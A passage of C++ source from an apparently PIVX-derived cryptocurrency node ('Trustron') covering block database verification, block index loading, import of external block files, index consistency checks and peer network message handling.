uiInterface.ShowProgress(_("Verifying blocks..."), std::max(1, std::min(99, (int)(((double)(chainActive.Height() - pindex->nHeight)) / (double)nCheckDepth * (nCheckLevel >= 4 ? 50 : 100)))));
if (pindex->nHeight < chainActive.Height() - nCheckDepth)
break;
CBlock block;
// check level 0: read from disk
if (!ReadBlockFromDisk(block, pindex))
return error("VerifyDB() : *** ReadBlockFromDisk failed at %d, hash=%s", pindex->nHeight, pindex->GetBlockHash().ToString());
// check level 1: verify block validity
if (nCheckLevel >= 1 && !CheckBlock(block, state))
return error("VerifyDB() : *** found bad block at %d, hash=%s\n", pindex->nHeight, pindex->GetBlockHash().ToString());
// check level 2: verify undo validity
if (nCheckLevel >= 2 && pindex) {
CBlockUndo undo;
CDiskBlockPos pos = pindex->GetUndoPos();
if (!pos.IsNull()) {
if (!undo.ReadFromDisk(pos, pindex->pprev->GetBlockHash()))
return error("VerifyDB() : *** found bad undo data at %d, hash=%s\n", pindex->nHeight, pindex->GetBlockHash().ToString());
}
}
// check level 3: check for inconsistencies during memory-only disconnect of tip blocks
if (nCheckLevel >= 3 && pindex == pindexState && (coins.GetCacheSize() + pcoinsTip->GetCacheSize()) <= nCoinCacheSize) {
bool fClean = true;
if (!DisconnectBlock(block, state, pindex, coins, &fClean))
return error("VerifyDB() : *** irrecoverable inconsistency in block data at %d, hash=%s", pindex->nHeight, pindex->GetBlockHash().ToString());
pindexState = pindex->pprev;
if (!fClean) {
nGoodTransactions = 0;
pindexFailure = pindex;
} else
nGoodTransactions += block.vtx.size();
}
if (ShutdownRequested())
return true;
}
if (pindexFailure)
return error("VerifyDB() : *** coin database inconsistencies found (last %i blocks, %i good transactions before that)\n", chainActive.Height() - pindexFailure->nHeight + 1, nGoodTransactions);
// check level 4: try reconnecting blocks
if (nCheckLevel >= 4) {
CBlockIndex* pindex = pindexState;
while (pindex != chainActive.Tip()) {
boost::this_thread::interruption_point();
uiInterface.ShowProgress(_("Verifying blocks..."), std::max(1, std::min(99, 100 - (int)(((double)(chainActive.Height() - pindex->nHeight)) / (double)nCheckDepth * 50))));
pindex = chainActive.Next(pindex);
CBlock block;
if (!ReadBlockFromDisk(block, pindex))
return error("VerifyDB() : *** ReadBlockFromDisk failed at %d, hash=%s", pindex->nHeight, pindex->GetBlockHash().ToString());
if (!ConnectBlock(block, state, pindex, coins, false))
return error("VerifyDB() : *** found unconnectable block at %d, hash=%s", pindex->nHeight, pindex->GetBlockHash().ToString());
}
}
LogPrintf("No coin database inconsistencies in last %i blocks (%i transactions)\n", chainActive.Height() - pindexState->nHeight, nGoodTransactions);
return true;
}
void UnloadBlockIndex()
{
mapBlockIndex.clear();
setBlockIndexCandidates.clear();
chainActive.SetTip(NULL);
pindexBestInvalid = NULL;
}
bool LoadBlockIndex()
{
// Load block index from databases
if (!fReindex && !LoadBlockIndexDB())
return false;
return true;
}
bool InitBlockIndex()
{
LOCK(cs_main);
// Check whether we're already initialized
if (chainActive.Genesis() != NULL)
return true;
// Use the provided setting for -txindex in the new database
fTxIndex = GetBoolArg("-txindex", true);
pblocktree->WriteFlag("txindex", fTxIndex);
LogPrintf("Initializing databases...\n");
// Only add the genesis block if not reindexing (in which case we reuse the one already on disk)
if (!fReindex) {
try {
CBlock& block = const_cast<CBlock&>(Params().GenesisBlock());
// Start new block file
unsigned int nBlockSize = ::GetSerializeSize(block, SER_DISK, CLIENT_VERSION);
CDiskBlockPos blockPos;
CValidationState state;
if (!FindBlockPos(state, blockPos, nBlockSize + 8, 0, block.GetBlockTime()))
return error("LoadBlockIndex() : FindBlockPos failed");
if (!WriteBlockToDisk(block, blockPos))
return error("LoadBlockIndex() : writing genesis block to disk failed");
CBlockIndex* pindex = AddToBlockIndex(block);
if (!ReceivedBlockTransactions(block, state, pindex, blockPos))
return error("LoadBlockIndex() : genesis block not accepted");
if (!ActivateBestChain(state, &block))
return error("LoadBlockIndex() : genesis block cannot be activated");
// Force a chainstate write so that when we VerifyDB in a moment, it doesnt check stale data
return FlushStateToDisk(state, FLUSH_STATE_ALWAYS);
} catch (std::runtime_error& e) {
return error("LoadBlockIndex() : failed to initialize block database: %s", e.what());
}
}
return true;
}
bool LoadExternalBlockFile(FILE* fileIn, CDiskBlockPos* dbp)
{
// Map of disk positions for blocks with unknown parent (only used for reindex)
static std::multimap<uint256, CDiskBlockPos> mapBlocksUnknownParent;
int64_t nStart = GetTimeMillis();
int nLoaded = 0;
try {
// This takes over fileIn and calls fclose() on it in the CBufferedFile destructor
CBufferedFile blkdat(fileIn, 2 * MAX_BLOCK_SIZE_CURRENT, MAX_BLOCK_SIZE_CURRENT + 8, SER_DISK, CLIENT_VERSION);
uint64_t nRewind = blkdat.GetPos();
while (!blkdat.eof()) {
boost::this_thread::interruption_point();
blkdat.SetPos(nRewind);
nRewind++; // start one byte further next time, in case of failure
blkdat.SetLimit(); // remove former limit
unsigned int nSize = 0;
try {
// locate a header
unsigned char buf[MESSAGE_START_SIZE];
blkdat.FindByte(Params().MessageStart()[0]);
nRewind = blkdat.GetPos() + 1;
blkdat >> FLATDATA(buf);
if (memcmp(buf, Params().MessageStart(), MESSAGE_START_SIZE))
continue;
// read size
blkdat >> nSize;
if (nSize < 80 || nSize > MAX_BLOCK_SIZE_CURRENT)
continue;
} catch (const std::exception&) {
// no valid block header found; don't complain
break;
}
try {
// read block
uint64_t nBlockPos = blkdat.GetPos();
if (dbp)
dbp->nPos = nBlockPos;
blkdat.SetLimit(nBlockPos + nSize);
blkdat.SetPos(nBlockPos);
CBlock block;
blkdat >> block;
nRewind = blkdat.GetPos();
// detect out of order blocks, and store them for later
uint256 hash = block.GetHash();
if (hash != Params().HashGenesisBlock() && mapBlockIndex.find(block.hashPrevBlock) == mapBlockIndex.end()) {
LogPrint("reindex", "%s: Out of order block %s, parent %s not known\n", __func__, hash.ToString(),
block.hashPrevBlock.ToString());
if (dbp)
mapBlocksUnknownParent.insert(std::make_pair(block.hashPrevBlock, *dbp));
continue;
}
// process in case the block isn't known yet
if (mapBlockIndex.count(hash) == 0 || (mapBlockIndex[hash]->nStatus & BLOCK_HAVE_DATA) == 0) {
CValidationState state;
if (ProcessNewBlock(state, NULL, &block, dbp))
nLoaded++;
if (state.IsError())
break;
} else if (hash != Params().HashGenesisBlock() && mapBlockIndex[hash]->nHeight % 1000 == 0) {
LogPrintf("Block Import: already had block %s at height %d\n", hash.ToString(), mapBlockIndex[hash]->nHeight);
}
// Recursively process earlier encountered successors of this block
deque<uint256> queue;
queue.push_back(hash);
while (!queue.empty()) {
uint256 head = queue.front();
queue.pop_front();
std::pair<std::multimap<uint256, CDiskBlockPos>::iterator, std::multimap<uint256, CDiskBlockPos>::iterator> range = mapBlocksUnknownParent.equal_range(head);
while (range.first != range.second) {
std::multimap<uint256, CDiskBlockPos>::iterator it = range.first;
if (ReadBlockFromDisk(block, it->second)) {
LogPrintf("%s: Processing out of order child %s of %s\n", __func__, block.GetHash().ToString(),
head.ToString());
CValidationState dummy;
if (ProcessNewBlock(dummy, NULL, &block, &it->second)) {
nLoaded++;
queue.push_back(block.GetHash());
}
}
range.first++;
mapBlocksUnknownParent.erase(it);
}
}
} catch (std::exception& e) {
LogPrintf("%s : Deserialize or I/O error - %s", __func__, e.what());
}
}
} catch (std::runtime_error& e) {
AbortNode(std::string("System error: ") + e.what());
}
if (nLoaded > 0)
LogPrintf("Loaded %i blocks from external file in %dms\n", nLoaded, GetTimeMillis() - nStart);
return nLoaded > 0;
}
void static CheckBlockIndex()
{
if (!fCheckBlockIndex) {
return;
}
LOCK(cs_main);
// During a reindex, we read the genesis block and call CheckBlockIndex before ActivateBestChain,
// so we have the genesis block in mapBlockIndex but no active chain. (A few of the tests when
// iterating the block tree require that chainActive has been initialized.)
if (chainActive.Height() < 0) {
assert(mapBlockIndex.size() <= 1);
return;
}
// Build forward-pointing map of the entire block tree.
std::multimap<CBlockIndex*, CBlockIndex*> forward;
for (BlockMap::iterator it = mapBlockIndex.begin(); it != mapBlockIndex.end(); it++) {
forward.insert(std::make_pair(it->second->pprev, it->second));
}
assert(forward.size() == mapBlockIndex.size());
std::pair<std::multimap<CBlockIndex*, CBlockIndex*>::iterator, std::multimap<CBlockIndex*, CBlockIndex*>::iterator> rangeGenesis = forward.equal_range(NULL);
CBlockIndex* pindex = rangeGenesis.first->second;
rangeGenesis.first++;
assert(rangeGenesis.first == rangeGenesis.second); // There is only one index entry with parent NULL.
// Iterate over the entire block tree, using depth-first search.
// Along the way, remember whether there are blocks on the path from genesis
// block being explored which are the first to have certain properties.
size_t nNodes = 0;
int nHeight = 0;
CBlockIndex* pindexFirstInvalid = NULL; // Oldest ancestor of pindex which is invalid.
CBlockIndex* pindexFirstMissing = NULL; // Oldest ancestor of pindex which does not have BLOCK_HAVE_DATA.
CBlockIndex* pindexFirstNotTreeValid = NULL; // Oldest ancestor of pindex which does not have BLOCK_VALID_TREE (regardless of being valid or not).
CBlockIndex* pindexFirstNotChainValid = NULL; // Oldest ancestor of pindex which does not have BLOCK_VALID_CHAIN (regardless of being valid or not).
CBlockIndex* pindexFirstNotScriptsValid = NULL; // Oldest ancestor of pindex which does not have BLOCK_VALID_SCRIPTS (regardless of being valid or not).
while (pindex != NULL) {
nNodes++;
if (pindexFirstInvalid == NULL && pindex->nStatus & BLOCK_FAILED_VALID) pindexFirstInvalid = pindex;
if (pindexFirstMissing == NULL && !(pindex->nStatus & BLOCK_HAVE_DATA)) pindexFirstMissing = pindex;
if (pindex->pprev != NULL && pindexFirstNotTreeValid == NULL && (pindex->nStatus & BLOCK_VALID_MASK) < BLOCK_VALID_TREE) pindexFirstNotTreeValid = pindex;
if (pindex->pprev != NULL && pindexFirstNotChainValid == NULL && (pindex->nStatus & BLOCK_VALID_MASK) < BLOCK_VALID_CHAIN) pindexFirstNotChainValid = pindex;
if (pindex->pprev != NULL && pindexFirstNotScriptsValid == NULL && (pindex->nStatus & BLOCK_VALID_MASK) < BLOCK_VALID_SCRIPTS) pindexFirstNotScriptsValid = pindex;
// Begin: actual consistency checks.
if (pindex->pprev == NULL) {
// Genesis block checks.
assert(pindex->GetBlockHash() == Params().HashGenesisBlock()); // Genesis block's hash must match.
assert(pindex == chainActive.Genesis()); // The current active chain's genesis block must be this block.
}
// HAVE_DATA is equivalent to VALID_TRANSACTIONS and equivalent to nTx > 0 (we stored the number of transactions in the block)
assert(!(pindex->nStatus & BLOCK_HAVE_DATA) == (pindex->nTx == 0));
assert(((pindex->nStatus & BLOCK_VALID_MASK) >= BLOCK_VALID_TRANSACTIONS) == (pindex->nTx > 0));
if (pindex->nChainTx == 0) assert(pindex->nSequenceId == 0); // nSequenceId can't be set for blocks that aren't linked
// All parents having data is equivalent to all parents being VALID_TRANSACTIONS, which is equivalent to nChainTx being set.
assert((pindexFirstMissing != NULL) == (pindex->nChainTx == 0)); // nChainTx == 0 is used to signal that all parent block's transaction data is available.
assert(pindex->nHeight == nHeight); // nHeight must be consistent.
assert(pindex->pprev == NULL || pindex->nChainWork >= pindex->pprev->nChainWork); // For every block except the genesis block, the chainwork must be larger than the parent's.
assert(nHeight < 2 || (pindex->pskip && (pindex->pskip->nHeight < nHeight))); // The pskip pointer must point back for all but the first 2 blocks.
assert(pindexFirstNotTreeValid == NULL); // All mapBlockIndex entries must at least be TREE valid
if ((pindex->nStatus & BLOCK_VALID_MASK) >= BLOCK_VALID_TREE) assert(pindexFirstNotTreeValid == NULL); // TREE valid implies all parents are TREE valid
if ((pindex->nStatus & BLOCK_VALID_MASK) >= BLOCK_VALID_CHAIN) assert(pindexFirstNotChainValid == NULL); // CHAIN valid implies all parents are CHAIN valid
if ((pindex->nStatus & BLOCK_VALID_MASK) >= BLOCK_VALID_SCRIPTS) assert(pindexFirstNotScriptsValid == NULL); // SCRIPTS valid implies all parents are SCRIPTS valid
if (pindexFirstInvalid == NULL) {
// Checks for not-invalid blocks.
assert((pindex->nStatus & BLOCK_FAILED_MASK) == 0); // The failed mask cannot be set for blocks without invalid parents.
}
if (!CBlockIndexWorkComparator()(pindex, chainActive.Tip()) && pindexFirstMissing == NULL) {
if (pindexFirstInvalid == NULL) { // If this block sorts at least as good as the current tip and is valid, it must be in setBlockIndexCandidates.
assert(setBlockIndexCandidates.count(pindex));
}
} else { // If this block sorts worse than the current tip, it cannot be in setBlockIndexCandidates.
assert(setBlockIndexCandidates.count(pindex) == 0);
}
// Check whether this block is in mapBlocksUnlinked.
std::pair<std::multimap<CBlockIndex*, CBlockIndex*>::iterator, std::multimap<CBlockIndex*, CBlockIndex*>::iterator> rangeUnlinked = mapBlocksUnlinked.equal_range(pindex->pprev);
bool foundInUnlinked = false;
while (rangeUnlinked.first != rangeUnlinked.second) {
assert(rangeUnlinked.first->first == pindex->pprev);
if (rangeUnlinked.first->second == pindex) {
foundInUnlinked = true;
break;
}
rangeUnlinked.first++;
}
if (pindex->pprev && pindex->nStatus & BLOCK_HAVE_DATA && pindexFirstMissing != NULL) {
if (pindexFirstInvalid == NULL) { // If this block has block data available, some parent doesn't, and has no invalid parents, it must be in mapBlocksUnlinked.
assert(foundInUnlinked);
}
} else { // If this block does not have block data available, or all parents do, it cannot be in mapBlocksUnlinked.
assert(!foundInUnlinked);
}
// assert(pindex->GetBlockHash() == pindex->GetBlockHeader().GetHash()); // Perhaps too slow
// End: actual consistency checks.
// Try descending into the first subnode.
std::pair<std::multimap<CBlockIndex*, CBlockIndex*>::iterator, std::multimap<CBlockIndex*, CBlockIndex*>::iterator> range = forward.equal_range(pindex);
if (range.first != range.second) {
// A subnode was found.
pindex = range.first->second;
nHeight++;
continue;
}
// This is a leaf node.
// Move upwards until we reach a node of which we have not yet visited the last child.
while (pindex) {
// We are going to either move to a parent or a sibling of pindex.
// If pindex was the first with a certain property, unset the corresponding variable.
if (pindex == pindexFirstInvalid) pindexFirstInvalid = NULL;
if (pindex == pindexFirstMissing) pindexFirstMissing = NULL;
if (pindex == pindexFirstNotTreeValid) pindexFirstNotTreeValid = NULL;
if (pindex == pindexFirstNotChainValid) pindexFirstNotChainValid = NULL;
if (pindex == pindexFirstNotScriptsValid) pindexFirstNotScriptsValid = NULL;
// Find our parent.
CBlockIndex* pindexPar = pindex->pprev;
// Find which child we just visited.
std::pair<std::multimap<CBlockIndex*, CBlockIndex*>::iterator, std::multimap<CBlockIndex*, CBlockIndex*>::iterator> rangePar = forward.equal_range(pindexPar);
while (rangePar.first->second != pindex) {
assert(rangePar.first != rangePar.second); // Our parent must have at least the node we're coming from as child.
rangePar.first++;
}
// Proceed to the next one.
rangePar.first++;
if (rangePar.first != rangePar.second) {
// Move to the sibling.
pindex = rangePar.first->second;
break;
} else {
// Move up further.
pindex = pindexPar;
nHeight--;
continue;
}
}
}
// Check that we actually traversed the entire map.
assert(nNodes == forward.size());
}
//////////////////////////////////////////////////////////////////////////////
//
// CAlert
//
string GetWarnings(string strFor)
{
int nPriority = 0;
string strStatusBar;
string strRPC;
if (!CLIENT_VERSION_IS_RELEASE)
strStatusBar = _("This is a pre-release test build - use at your own risk - do not use for staking or merchant applications!");
if (GetBoolArg("-testsafemode", false))
strStatusBar = strRPC = "testsafemode enabled";
// Misc warnings like out of disk space and clock is wrong
if (strMiscWarning != "") {
nPriority = 1000;
strStatusBar = strMiscWarning;
}
if (fLargeWorkForkFound) {
nPriority = 2000;
strStatusBar = strRPC = _("Warning: The network does not appear to fully agree! Some miners appear to be experiencing issues.");
} else if (fLargeWorkInvalidChainFound) {
nPriority = 2000;
strStatusBar = strRPC = _("Warning: We do not appear to fully agree with our peers! You may need to upgrade, or other nodes may need to upgrade.");
}
// Alerts
{
LOCK(cs_mapAlerts);
BOOST_FOREACH (PAIRTYPE(const uint256, CAlert) & item, mapAlerts) {
const CAlert& alert = item.second;
if (alert.AppliesToMe() && alert.nPriority > nPriority) {
nPriority = alert.nPriority;
strStatusBar = alert.strStatusBar;
}
}
}
if (strFor == "statusbar")
return strStatusBar;
else if (strFor == "rpc")
return strRPC;
assert(!"GetWarnings() : invalid parameter");
return "error";
}
//////////////////////////////////////////////////////////////////////////////
//
// Messages
//
bool static AlreadyHave(const CInv& inv)
{
switch (inv.type) {
case MSG_TX: {
bool txInMap = false;
txInMap = mempool.exists(inv.hash);
return txInMap || mapOrphanTransactions.count(inv.hash) ||
pcoinsTip->HaveCoins(inv.hash);
}
case MSG_DSTX:
return mapObfuscationBroadcastTxes.count(inv.hash);
case MSG_BLOCK:
return mapBlockIndex.count(inv.hash);
case MSG_TXLOCK_REQUEST:
return mapTxLockReq.count(inv.hash) ||
mapTxLockReqRejected.count(inv.hash);
case MSG_TXLOCK_VOTE:
return mapTxLockVote.count(inv.hash);
case MSG_SPORK:
return mapSporks.count(inv.hash);
case MSG_MASTERNODE_WINNER:
if (masternodePayments.mapMasternodePayeeVotes.count(inv.hash)) {
masternodeSync.AddedMasternodeWinner(inv.hash);
return true;
}
return false;
case MSG_BUDGET_VOTE:
if (budget.mapSeenMasternodeBudgetVotes.count(inv.hash)) {
masternodeSync.AddedBudgetItem(inv.hash);
return true;
}
return false;
case MSG_BUDGET_PROPOSAL:
if (budget.mapSeenMasternodeBudgetProposals.count(inv.hash)) {
masternodeSync.AddedBudgetItem(inv.hash);
return true;
}
return false;
case MSG_BUDGET_FINALIZED_VOTE:
if (budget.mapSeenFinalizedBudgetVotes.count(inv.hash)) {
masternodeSync.AddedBudgetItem(inv.hash);
return true;
}
return false;
case MSG_BUDGET_FINALIZED:
if (budget.mapSeenFinalizedBudgets.count(inv.hash)) {
masternodeSync.AddedBudgetItem(inv.hash);
return true;
}
return false;
case MSG_MASTERNODE_ANNOUNCE:
if (mnodeman.mapSeenMasternodeBroadcast.count(inv.hash)) {
masternodeSync.AddedMasternodeList(inv.hash);
return true;
}
return false;
case MSG_MASTERNODE_PING:
return mnodeman.mapSeenMasternodePing.count(inv.hash);
}
// Don't know what it is, just say we already got one
return true;
}
void static ProcessGetData(CNode* pfrom)
{
std::deque<CInv>::iterator it = pfrom->vRecvGetData.begin();
vector<CInv> vNotFound;
LOCK(cs_main);
while (it != pfrom->vRecvGetData.end()) {
// Don't bother if send buffer is too full to respond anyway
if (pfrom->nSendSize >= SendBufferSize())
break;
const CInv& inv = *it;
{
boost::this_thread::interruption_point();
it++;
if (inv.type == MSG_BLOCK || inv.type == MSG_FILTERED_BLOCK) {
bool send = false;
BlockMap::iterator mi = mapBlockIndex.find(inv.hash);
if (mi != mapBlockIndex.end()) {
if (chainActive.Contains(mi->second)) {
send = true;
} else {
// To prevent fingerprinting attacks, only send blocks outside of the active
// chain if they are valid, and no more than a max reorg depth than the best header
// chain we know about.
send = mi->second->IsValid(BLOCK_VALID_SCRIPTS) && (pindexBestHeader != NULL) &&
(chainActive.Height() - mi->second->nHeight < Params().MaxReorganizationDepth());
if (!send) {
LogPrintf("ProcessGetData(): ignoring request from peer=%i for old block that isn't in the main chain\n", pfrom->GetId());
}
}
}
// Don't send not-validated blocks
if (send && (mi->second->nStatus & BLOCK_HAVE_DATA)) {
// Send block from disk
CBlock block;
if (!ReadBlockFromDisk(block, (*mi).second))
assert(!"cannot load block from disk");
if (inv.type == MSG_BLOCK)
pfrom->PushMessage("block", block);
else // MSG_FILTERED_BLOCK)
{
LOCK(pfrom->cs_filter);
if (pfrom->pfilter) {
CMerkleBlock merkleBlock(block, *pfrom->pfilter);
pfrom->PushMessage("merkleblock", merkleBlock);
// CMerkleBlock just contains hashes, so also push any transactions in the block the client did not see
// This avoids hurting performance by pointlessly requiring a round-trip
// Note that there is currently no way for a node to request any single transactions we didnt send here -
// they must either disconnect and retry or request the full block.
// Thus, the protocol spec specified allows for us to provide duplicate txn here,
// however we MUST always provide at least what the remote peer needs
typedef std::pair<unsigned int, uint256> PairType;
BOOST_FOREACH (PairType& pair, merkleBlock.vMatchedTxn)
if (!pfrom->setInventoryKnown.count(CInv(MSG_TX, pair.second)))
pfrom->PushMessage("tx", block.vtx[pair.first]);
}
// else
// no response
}
// Trigger them to send a getblocks request for the next batch of inventory
if (inv.hash == pfrom->hashContinue) {
// Bypass PushInventory, this must send even if redundant,
// and we want it right after the last block so they don't
// wait for other stuff first.
vector<CInv> vInv;
vInv.push_back(CInv(MSG_BLOCK, chainActive.Tip()->GetBlockHash()));
pfrom->PushMessage("inv", vInv);
pfrom->hashContinue = 0;
}
}
} else if (inv.IsKnownType()) {
// Send stream from relay memory
bool pushed = false;
{
LOCK(cs_mapRelay);
map<CInv, CDataStream>::iterator mi = mapRelay.find(inv);
if (mi != mapRelay.end()) {
pfrom->PushMessage(inv.GetCommand(), (*mi).second);
pushed = true;
}
}
if (!pushed && inv.type == MSG_TX) {
CTransaction tx;
if (mempool.lookup(inv.hash, tx)) {
CDataStream ss(SER_NETWORK, PROTOCOL_VERSION);
ss.reserve(1000);
ss << tx;
pfrom->PushMessage("tx", ss);
pushed = true;
}
}
if (!pushed && inv.type == MSG_TXLOCK_VOTE) {
if (mapTxLockVote.count(inv.hash)) {
CDataStream ss(SER_NETWORK, PROTOCOL_VERSION);
ss.reserve(1000);
ss << mapTxLockVote[inv.hash];
pfrom->PushMessage("txlvote", ss);
pushed = true;
}
}
if (!pushed && inv.type == MSG_TXLOCK_REQUEST) {
if (mapTxLockReq.count(inv.hash)) {
CDataStream ss(SER_NETWORK, PROTOCOL_VERSION);
ss.reserve(1000);
ss << mapTxLockReq[inv.hash];
pfrom->PushMessage("ix", ss);
pushed = true;
}
}
if (!pushed && inv.type == MSG_SPORK) {
if (mapSporks.count(inv.hash)) {
CDataStream ss(SER_NETWORK, PROTOCOL_VERSION);
ss.reserve(1000);
ss << mapSporks[inv.hash];
pfrom->PushMessage("spork", ss);
pushed = true;
}
}
if (!pushed && inv.type == MSG_MASTERNODE_WINNER) {
if (masternodePayments.mapMasternodePayeeVotes.count(inv.hash)) {
CDataStream ss(SER_NETWORK, PROTOCOL_VERSION);
ss.reserve(1000);
ss << masternodePayments.mapMasternodePayeeVotes[inv.hash];
pfrom->PushMessage("mnw", ss);
pushed = true;
}
}
if (!pushed && inv.type == MSG_BUDGET_VOTE) {
if (budget.mapSeenMasternodeBudgetVotes.count(inv.hash)) {
CDataStream ss(SER_NETWORK, PROTOCOL_VERSION);
ss.reserve(1000);
ss << budget.mapSeenMasternodeBudgetVotes[inv.hash];
pfrom->PushMessage("mvote", ss);
pushed = true;
}
}
if (!pushed && inv.type == MSG_BUDGET_PROPOSAL) {
if (budget.mapSeenMasternodeBudgetProposals.count(inv.hash)) {
CDataStream ss(SER_NETWORK, PROTOCOL_VERSION);
ss.reserve(1000);
ss << budget.mapSeenMasternodeBudgetProposals[inv.hash];
pfrom->PushMessage("mprop", ss);
pushed = true;
}
}
if (!pushed && inv.type == MSG_BUDGET_FINALIZED_VOTE) {
if (budget.mapSeenFinalizedBudgetVotes.count(inv.hash)) {
CDataStream ss(SER_NETWORK, PROTOCOL_VERSION);
ss.reserve(1000);
ss << budget.mapSeenFinalizedBudgetVotes[inv.hash];
pfrom->PushMessage("fbvote", ss);
pushed = true;
}
}
if (!pushed && inv.type == MSG_BUDGET_FINALIZED) {
if (budget.mapSeenFinalizedBudgets.count(inv.hash)) {
CDataStream ss(SER_NETWORK, PROTOCOL_VERSION);
ss.reserve(1000);
ss << budget.mapSeenFinalizedBudgets[inv.hash];
pfrom->PushMessage("fbs", ss);
pushed = true;
}
}
if (!pushed && inv.type == MSG_MASTERNODE_ANNOUNCE) {
if (mnodeman.mapSeenMasternodeBroadcast.count(inv.hash)) {
CDataStream ss(SER_NETWORK, PROTOCOL_VERSION);
ss.reserve(1000);
ss << mnodeman.mapSeenMasternodeBroadcast[inv.hash];
pfrom->PushMessage("mnb", ss);
pushed = true;
}
}
if (!pushed && inv.type == MSG_MASTERNODE_PING) {
if (mnodeman.mapSeenMasternodePing.count(inv.hash)) {
CDataStream ss(SER_NETWORK, PROTOCOL_VERSION);
ss.reserve(1000);
ss << mnodeman.mapSeenMasternodePing[inv.hash];
pfrom->PushMessage("mnp", ss);
pushed = true;
}
}
if (!pushed && inv.type == MSG_DSTX) {
if (mapObfuscationBroadcastTxes.count(inv.hash)) {
CDataStream ss(SER_NETWORK, PROTOCOL_VERSION);
ss.reserve(1000);
ss << mapObfuscationBroadcastTxes[inv.hash].tx << mapObfuscationBroadcastTxes[inv.hash].vin << mapObfuscationBroadcastTxes[inv.hash].vchSig << mapObfuscationBroadcastTxes[inv.hash].sigTime;
pfrom->PushMessage("dstx", ss);
pushed = true;
}
}
if (!pushed) {
vNotFound.push_back(inv);
}
}
// Track requests for our stuff.
g_signals.Inventory(inv.hash);
if (inv.type == MSG_BLOCK || inv.type == MSG_FILTERED_BLOCK)
break;
}
}
pfrom->vRecvGetData.erase(pfrom->vRecvGetData.begin(), it);
if (!vNotFound.empty()) {
// Let the peer know that we didn't find what it asked for, so it doesn't
// have to wait around forever. Currently only SPV clients actually care
// about this message: it's needed when they are recursively walking the
// dependencies of relevant unconfirmed transactions. SPV clients want to
// do that because they want to know about (and store and rebroadcast and
// risk analyze) the dependencies of transactions relevant to them, without
// having to download the entire memory pool.
pfrom->PushMessage("notfound", vNotFound);
}
}
bool static ProcessMessage(CNode* pfrom, string strCommand, CDataStream& vRecv, int64_t nTimeReceived)
{
RandAddSeedPerfmon();
if (fDebug)
LogPrintf("received: %s (%u bytes) peer=%d\n", SanitizeString(strCommand), vRecv.size(), pfrom->id);
if (mapArgs.count("-dropmessagestest") && GetRand(atoi(mapArgs["-dropmessagestest"])) == 0) {
LogPrintf("dropmessagestest DROPPING RECV MESSAGE\n");
return true;
}
int nCurHeight = GetHeight();
if (strCommand == "version") {
// Each connection can only send one version message
if (pfrom->nVersion != 0) {
pfrom->PushMessage("reject", strCommand, REJECT_DUPLICATE, string("Duplicate version message"));
Misbehaving(pfrom->GetId(), 1);
return false;
}
// Trustron: We use certain sporks during IBD, so check to see if they are
// available. If not, ask the first peer connected for them.
if (!pSporkDB->SporkExists(SPORK_14_NEW_PROTOCOL_ENFORCEMENT) &&
!pSporkDB->SporkExists(SPORK_15_NEW_PROTOCOL_ENFORCEMENT_2) &&
!pSporkDB->SporkExists(SPORK_11_LOCK_INVALID_UTXO) &&
!pSporkDB->SporkExists(SPORK_16_ZEROCOIN_MAINTENANCE_MODE)) {
LogPrintf("Required sporks not found, asking peer to send them\n");
pfrom->PushMessage("getsporks");
}
int64_t nTime;
CAddress addrMe;
CAddress addrFrom;
uint64_t nNonce = 1;
vRecv >> pfrom->nVersion >> pfrom->nServices >> nTime >> addrMe;
if (pfrom->DisconnectOldProtocol(GetMinPeerProtoVersion(nCurHeight), strCommand))
return false;
if (pfrom->nVersion == 10300)
pfrom->nVersion = 300;
if (!vRecv.empty())
vRecv >> addrFrom >> nNonce;
if (!vRecv.empty()) {
vRecv >> LIMITED_STRING(pfrom->strSubVer, 256);
pfrom->cleanSubVer = SanitizeString(pfrom->strSubVer);
}
if (!vRecv.empty())
vRecv >> pfrom->nStartingHeight;
if (!vRecv.empty())
vRecv >> pfrom->fRelayTxes; // set to true after we get the first filter* message
else
pfrom->fRelayTxes = true;
// Disconnect if we connected to ourself
if (nNonce == nLocalHostNonce && nNonce > 1) {
LogPrintf("connected to self at %s, disconnecting\n", pfrom->addr.ToString());
pfrom->fDisconnect = true;
return true;
}
pfrom->addrLocal = addrMe;
if (pfrom->fInbound && addrMe.IsRoutable()) {
SeenLocal(addrMe);
}
// Be shy and don't send version until we hear
if (pfrom->fInbound)
pfrom->PushVersion();
pfrom->fClient = !(pfrom->nServices & NODE_NETWORK);
// Potentially mark this peer as a preferred download peer.
UpdatePreferredDownload(pfrom, State(pfrom->GetId()));
// Change version
pfrom->PushMessage("verack");
pfrom->ssSend.SetVersion(min(pfrom->nVersion, PROTOCOL_VERSION));
if (!pfrom->fInbound) {
// Advertise our address
if (fListen && !IsInitialBlockDownload()) {
CAddress addr = GetLocalAddress(&pfrom->addr);
if (addr.IsRoutable()) {
LogPrintf("ProcessMessages: advertizing address %s\n", addr.ToString());
pfrom->PushAddress(addr);
} else if (IsPeerAddrLocalGood(pfrom)) {
addr.SetIP(pfrom->addrLocal);
LogPrintf("ProcessMessages: advertizing address %s\n", addr.ToString());
pfrom->PushAddress(addr);
}
}
// Get recent addresses
if (pfrom->fOneShot || pfrom->nVersion >= CADDR_TIME_VERSION || addrman.size() < 1000) {
pfrom->PushMessage("getaddr");
pfrom->fGetAddr = true;
}
addrman.Good(pfrom->addr);
} else {
if (((CNetAddr)pfrom->addr) == (CNetAddr)addrFrom) {
addrman.Add(addrFrom, addrFrom);
addrman.Good(addrFrom);
}
}
// Relay alerts
{
LOCK(cs_mapAlerts);
BOOST_FOREACH (PAIRTYPE(const uint256, CAlert) & item, mapAlerts)
item.second.RelayTo(pfrom);
}
pfrom->fSuccessfullyConnected = true;
string remoteAddr;
if (fLogIPs)
remoteAddr = ", peeraddr=" + pfrom->addr.ToString();
LogPrintf("receive version message: %s: version %d, blocks=%d, us=%s, peer=%d%s\n",
pfrom->cleanSubVer, pfrom->nVersion,
pfrom->nStartingHeight, addrMe.ToString(), pfrom->id,
remoteAddr);
AddTimeData(pfrom->addr, nTime);
}
else if (pfrom->nVersion == 0) {
// Must have a version message before anything else
Misbehaving(pfrom->GetId(), 1);
return false;
}
else if (strCommand == "verack") {
pfrom->SetRecvVersion(min(pfrom->nVersion, PROTOCOL_VERSION));
// Mark this node as currently connected, so we update its timestamp later.
if (pfrom->fNetworkNode) {
LOCK(cs_main);
State(pfrom->GetId())->fCurrentlyConnected = true;
}
}
else if (strCommand == "addr") {
vector<CAddress> vAddr;
vRecv >> vAddr;
// Don't want addr from older versions unless seeding
if (pfrom->nVersion < CADDR_TIME_VERSION && addrman.size() > 1000)
return true;
